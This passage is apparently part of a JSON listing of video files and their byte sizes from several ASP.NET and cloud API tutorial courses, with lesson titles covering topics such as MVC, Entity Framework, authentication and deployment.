"API-tutorials_Up-Running-Cloud-Service-APIs_15170/020 Monitoring national weather.mp4", "length": 16747823}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/021 Seeking federal job opportunities.mp4", "length": 9213337}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/022 Next steps.mp4", "length": 1355486}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/001 Welcome.mp4", "length": 15361563}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/002 Prerequisites.mp4", "length": 4712337}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/003 Using the exercise files.mp4", "length": 2616172}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/004 Upgrading exercise file websites for ASP.NET 4.5 (NEW).mp4", "length": 17388969}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/005 What's new in ASP.NET 4 (NEW).mp4", "length": 7314311}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/006 What's new in ASP.NET 4.5 (NEW).mp4", "length": 6382994}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/007 What's new in this course update (NEW).mp4", "length": 6654216}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/008 Understanding how ASP.NET works.mp4", "length": 11734884}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/009 Installing Microsoft Visual Web Developer 2008.mp4", "length": 11672481}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/010 Installing Visual Studio Express 2012 for web (NEW).mp4", "length": 8325877}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/011 Hello World - Creating your first ASP.NET web site.mp4", "length": 15357957}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/012 Creating pages with dynamic output.mp4", "length": 26756049}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/013 Understanding the development web server.mp4", "length": 13473997}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/014 Exploring the development environment.mp4", "length": 15447704}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/015 Understanding Microsoft SQL Server.mp4", "length": 21530245}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/016 Installing SQL Server Express.mp4", "length": 19383717}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/017 Exploring SQL Server Management Studio Basic.mp4", "length": 13152904}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/018 Creating a new database.mp4", "length": 37646472}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/019 Connecting to the database in ASP.NET.mp4", "length": 19386703}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/020 Testing SQL queries.mp4", "length": 11893293}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/021 Presenting a dataset in an ASP.NET page.mp4", "length": 20690933}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/022 Understanding ASP.NET web form pages.mp4", "length": 22018036}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/023 Separating presentation and logic with code files.mp4", "length": 14487536}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/024 Adding web form controls to a page.mp4", "length": 19550559}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/025 Handling postback data in a web form page.mp4", "length": 21673633}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/026 Using data binding expressions.mp4", "length": 17140605}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/027 Creating a testing environment.mp4", "length": 17900862}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/028 Declaring and using a simple variable.mp4", "length": 21528887}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/029 Declaring and using a complex object.mp4", "length": 23129645}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/030 Using loops.mp4", "length": 23830337}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/031 Using functions.mp4", "length": 30890399}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/032 Using trace statements.mp4", "length": 21045460}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/033 Debugging with breakpoints.mp4", "length": 20626993}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/034 Commenting code.mp4", "length": 18263235}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/035 Creating web controls.mp4", "length": 21325381}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/036 Registering a user control on a web form page.mp4", "length": 15569389}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/037 Registering controls globally in the web.config file.mp4", "length": 15002239}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/038 Adding public properties to a web control.mp4", "length": 16271067}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/039 Understanding Cascading Style Sheets (CSS).mp4", "length": 10684553}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/040 Attaching external CSS files.mp4", "length": 11432510}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/041 Defining a CSS selector.mp4", "length": 21933825}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/042 Using CSS class selectors in server controls.mp4", "length": 15331780}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/043 Presenting data with the GridView control.mp4", "length": 27730171}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/044 Controlling GridView paging and appearance.mp4", "length": 26426168}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/045 Editing data with the GridView control.mp4", "length": 30469999}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/046 Presenting data with the DataList control.mp4", "length": 23278836}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/047 Formatting data with binding expressions.mp4", "length": 26627768}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/048 Using the DetailsView control.mp4", "length": 31635266}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/049 Inserting data with the DetailsView control.mp4", "length": 31804966}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/050 Redirecting page requests.mp4", "length": 38184991}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/051 Creating an update page.mp4", "length": 29502155}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/052 Linking to update pages from the list page.mp4", "length": 14246106}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/053 Deleting database records.mp4", "length": 12906707}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/054 Customizing forms with item editing templates.mp4", "length": 27869857}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/055 Adding validator controls to a form.mp4", "length": 29766554}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/056 Controlling the validation error message display.mp4", "length": 28506509}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/057 Using the ValidationSummary control.mp4", "length": 13222711}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/058 Creating a query with joined tables.mp4", "length": 28166680}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/059 Replacing control style properties with CSS.mp4", "length": 32233635}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/060 Creating a CSS file for printing.mp4", "length": 17257431}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/061 Suppressing elements in printed web pages.mp4", "length": 26810574}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/062 Selecting data for a report.mp4", "length": 30230976}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/063 Understanding ViewState and managing postbacks.mp4", "length": 6948331}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/064 Using session variables.mp4", "length": 8593217}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/065 Turning on forms authentication.mp4", "length": 2424962}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/066 Creating a page to log in users.mp4", "length": 15998567}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/067 Creating a page to set up new users.mp4", "length": 15010322}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/068 Understanding the security database.mp4", "length": 4295548}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/069 Configuring security in the web.config file.mp4", "length": 4279523}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/070 Creating a page to log out users.mp4", "length": 5723648}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/071 Installing IIS on Windows XP.mp4", "length": 8372851}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/072 Installing ASP.NET 3.5 on Windows XP.mp4", "length": 2105972}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/073 Deploying a site on Windows XP.mp4", "length": 6068003}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/074 Installing Information Internet Services (IIS) on Windows Vista, Windows 7, and Windows 8.mp4", "length": 5969914}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/075 Configuring ASP.NET 3.5 on Windows Vista.mp4", "length": 8070283}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/076 Deploying an application on Windows Vista.mp4", "length": 9359424}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/077 Scripting a database for deployment.mp4", "length": 12871713}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/078 Exporting database scripts in SQL Server Management Studio 2012 (NEW).mp4", "length": 4979233}, {"path": "ASP-NET-tutorials_ASP-NET-Essential-Training_78/079 Where to go from here.mp4", "length": 2468680}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/001 Welcome.mp4", "length": 5810107}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/002 Prerequisites.mp4", "length": 1671488}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/003 Using the exercise files.mp4", "length": 1144251}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/004 What is Microsoft ASP.NET MVC.mp4", "length": 2897359}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/005 Preparing your system.mp4", "length": 8018855}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/006 Hello World - Creating your first website.mp4", "length": 7865022}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/007 Exploring an ASP.NET MVC web application project.mp4", "length": 5283427}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/008 The Model-View-Controller architecture pattern.mp4", "length": 5427666}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/009 Creating the model.mp4", "length": 4894888}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/010 Executing controller logic.mp4", "length": 4772009}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/011 Displaying views.mp4", "length": 5606685}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/012 Routing requests to controller actions.mp4", "length": 7348223}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/013 ASP.NET MVC for Web Forms developers.mp4", "length": 5026923}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/014 Introduction to Razor (AKA the @ symbol).mp4", "length": 8866409}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/015 Interacting with models and ViewData.mp4", "length": 11861923}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/016 Speeding up view development with HTML and URL helpers.mp4", "length": 15694555}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/017 Reusing logic and managing complexity with partial views.mp4", "length": 6955688}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/018 Using layouts to create a consistent theme.mp4", "length": 7564207}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/019 Creating a content page that uses a layout file.mp4", "length": 6376982}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/020 Applying advanced layout techniques.mp4", "length": 13760933}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/021 Organizing access to your app with routing.mp4", "length": 5779162}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/022 How routing finds controller actions.mp4", "length": 8675575}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/023 Combating routing ambiguity.mp4", "length": 9098881}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/024 Creating a form with HTML form helpers.mp4", "length": 15941962}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/025 Automatically binding to data in the request.mp4", "length": 9965255}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/026 Validating user input.mp4", "length": 20013413}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/027 Persisting data with Entity Framework code first.mp4", "length": 18242592}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/028 What is AJAX.mp4", "length": 17346176}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/029 Requesting partial views.mp4", "length": 9204160}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/030 Requesting JSON data via MVC controllers.mp4", "length": 11504064}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/031 Securing your application from unauthorized users.mp4", "length": 13488416}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/032 Registering new users.mp4", "length": 8081565}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/033 Authenticating registered users.mp4", "length": 10346996}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/034 Avoiding cross-site request forgery attacks.mp4", "length": 5951936}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/035 The fundamentals of website optimization.mp4", "length": 5969254}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/036 Caching entire pages.mp4", "length": 12248170}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/037 Caching parts of pages.mp4", "length": 12309064}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/038 Scaling your site for more concurrent users.mp4", "length": 9812561}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/039 Reducing bandwidth with bundling and minification.mp4", "length": 21724736}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/040 The fundamentals of the mobile web.mp4", "length": 4235826}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/041 Displaying mobile-optimized content.mp4", "length": 15010621}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/042 Building a website just for mobile devices.mp4", "length": 24014083}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/043 Simplifying a complex application with areas.mp4", "length": 7779437}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/044 Exposing data via ASP.NET Web API services.mp4", "length": 12410031}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/045 Overview of website deployment options.mp4", "length": 8874003}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/046 Configuring and deploying to IIS.mp4", "length": 14494909}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/047 Configuring and deploying to Windows Azure.mp4", "length": 13781892}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-4-Essential-Training_10976/048 Goodbye.mp4", "length": 1015173}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/001 Welcome.mp4", "length": 12096663}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/002 What you should know before watching this course.mp4", "length": 3155450}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/003 Using the exercise files.mp4", "length": 1649319}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/004 Using the challenges.mp4", "length": 1124116}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/005 The MVC mindset.mp4", "length": 7254220}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/006 Understanding controller actions.mp4", "length": 18647049}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/007 Exploring ASP.NET routing.mp4", "length": 13600913}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/008 Understanding the action result types.mp4", "length": 8584463}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/009 Applying action selectors.mp4", "length": 11094071}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/010 Using filters.mp4", "length": 12804766}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/011 Using Razor syntax.mp4", "length": 11043523}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/012 Working with layouts.mp4", "length": 13755755}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/013 Employing HTML helpers.mp4", "length": 15548541}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/014 Bundling and minification.mp4", "length": 25093787}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/015 Creating responsive designs with Bootstrap.mp4", "length": 19130707}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/016 Using models in actions and views.mp4", "length": 12337403}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/017 Displaying and validating model properties.mp4", "length": 16383996}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/018 Using view models.mp4", "length": 13552236}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/019 Generating database objects with the Entity Framework.mp4", "length": 14657078}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/020 Running Entity Framework Code First Migrations.mp4", "length": 23788879}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/021 Challenge - Adding transactions.mp4", "length": 3288746}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/022 Solution - Adding transactions.mp4", "length": 21335735}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/023 Understanding Open Web Interface for .NET (OWIN) and Katana.mp4", "length": 8162996}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/024 Configuring local authentication.mp4", "length": 10355582}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/025 Authenticating users with Facebook.mp4", "length": 16967486}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/026 ASP.NET identity and the user manager.mp4", "length": 15430045}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/027 Using role-based authorization.mp4", "length": 9686857}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/028 Seeding roles and assignments.mp4", "length": 12923840}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/029 Introduction to unit testing.mp4", "length": 7060151}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/030 Creating unit tests.mp4", "length": 12719262}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/031 Mocking dependencies.mp4", "length": 16308973}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/032 Practicing test-driven development.mp4", "length": 16689189}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/033 Performing partial-page updates with unobtrusive Ajax.mp4", "length": 13476591}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/034 Performing partial-page updates with pure jQuery.mp4", "length": 9433623}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/035 Model binding with Knockout.mp4", "length": 15218044}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/036 Implementing a page grid with Knockout.mp4", "length": 24455414}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/037 Deploying to Azure web sites.mp4", "length": 16597988}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/038 Deploying to AppHarbor.mp4", "length": 23909679}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/039 Deploying without automatic migrations.mp4", "length": 14702305}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/040 Using Web.config transformations.mp4", "length": 20546621}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/041 Challenge - Implementing transfers.mp4", "length": 9066982}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/042 Solution - Implementing transfers.mp4", "length": 19565406}, {"path": "ASP-NET-tutorials_ASP-NET-MVC-5-Essential-Training_17033/043 Next steps.mp4", "length": 5063394}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/001 Welcome.mp4", "length": 5170094}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/002 What you should know before watching this course.mp4", "length": 3325548}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/003 Using the exercise files.mp4", "length": 6343929}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/004 The building blocks of an ASP.NET 5 application.mp4", "length": 11583599}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/005 Understanding ASP.NET 5 for ASP.NET developers.mp4", "length": 24643408}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/006 Working with beta software.mp4", "length": 13395284}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/007 Setting up your development environment.mp4", "length": 6348270}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/008 Creating a new project.mp4", "length": 10944726}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/009 Responding to HTTP requests.mp4", "length": 11447910}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/010 Leveraging external dependencies.mp4", "length": 9015070}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/011 Serving static files.mp4", "length": 12200242}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/012 Managing client-side artifacts with Bower.mp4", "length": 10555188}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/013 Automating development tasks with Gulp.mp4", "length": 23323757}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/014 Understanding the MVC pattern.mp4", "length": 14969058}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/015 Adding ASP.NET MVC to your application.mp4", "length": 8508476}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/016 Handling requests with controllers.mp4", "length": 12768543}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/017 Passing parameters to controller actions.mp4", "length": 3970582}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/018 Rendering HTML with Razor views.mp4", "length": 8541614}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/019 Reusing shared HTML markup with layouts.mp4", "length": 7865469}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/020 Passing data from the controller to the view.mp4", "length": 7518205}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/021 Rendering data with strongly typed views.mp4", "length": 5737016}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/022 Reusing view markup with partial views.mp4", "length": 12091951}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/023 Creating strongly typed HTML forms.mp4", "length": 12146443}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/024 Posting form data to controller actions.mp4", "length": 10809100}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/025 Validating form post data.mp4", "length": 14703104}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/026 Using tag helpers to simplify your forms.mp4", "length": 13975349}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/027 Representing the database using Entity Framework.mp4", "length": 13674523}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/028 Using Entity Framework to write to a database.mp4", "length": 8527925}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/029 Using Entity Framework to read from a database.mp4", "length": 8217803}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/030 Adding Error Handling and Diagnostics.mp4", "length": 11391216}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/031 Dynamically control behavior with custom configuration.mp4", "length": 23078959}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/032 Increase maintainability with dependency injection.mp4", "length": 13403588}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/033 Reusing view logic with injectable properties.mp4", "length": 8860372}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/034 Reusing application features with view components.mp4", "length": 21084804}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/035 Customizing URLs with attribute-based routing.mp4", "length": 12103338}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/036 Understanding 'Mobile First'.mp4", "length": 10815036}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/037 Avoiding page refreshes with partial rendering.mp4", "length": 16170869}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/038 Exposing Web API endpoints.mp4", "length": 11442870}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/039 Exposing data through web APIs.mp4", "length": 14195327}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/040 Consuming Web APIs from the browser.mp4", "length": 13497148}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/041 Securing controller actions from unauthorized access.mp4", "length": 3173862}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/042 Adding Identity Services to your application.mp4", "length": 10766806}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/043 Dynamically configuring Identity Services.mp4", "length": 12890355}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/044 Using Identity Services to create user accounts.mp4", "length": 8863892}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/045 Using Identity Services to allow users to login to your site.mp4", "length": 12621589}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/046 Avoiding Cross-Site Request Forgery.mp4", "length": 11812692}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/047 Deploying an ASP.NET 5 application.mp4", "length": 7655565}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/048 Configuring database connection strings.mp4", "length": 13709541}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/049 Deploying to IIS server.mp4", "length": 17364986}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/050 Deploying to Microsoft Azure via Visual Studio.mp4", "length": 8878054}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/051 Deploying to Microsoft Azure via Source Control.mp4", "length": 16460080}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET-5_36805/052 Next steps.mp4", "length": 3489987}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/001 Welcome.mp4", "length": 7227336}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/002 What you should know.mp4", "length": 2194729}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/003 Using the exercise files.mp4", "length": 1343076}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/004 Using challenges.mp4", "length": 1404636}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/005 The .NET Framework and ASP.NET.mp4", "length": 14867664}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/006 Installing Visual Studio Express 2013 for Web.mp4", "length": 6674905}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/007 Basic tools for Visual Studio Express 2013 for Web.mp4", "length": 30809068}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/008 Running and debugging a basic web application.mp4", "length": 17903380}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/009 Creating dynamic pages using Razor syntax.mp4", "length": 23223090}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/010 Using web forms and server controls.mp4", "length": 28959113}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/011 Understanding the Model-View-Controller (MVC) pattern.mp4", "length": 4356554}, {"path": "ASP-NET-tutorials_Up-Running-ASP-NET_15837/012 ASP.NET MVC - Creating controllers and views.mp4", "length": 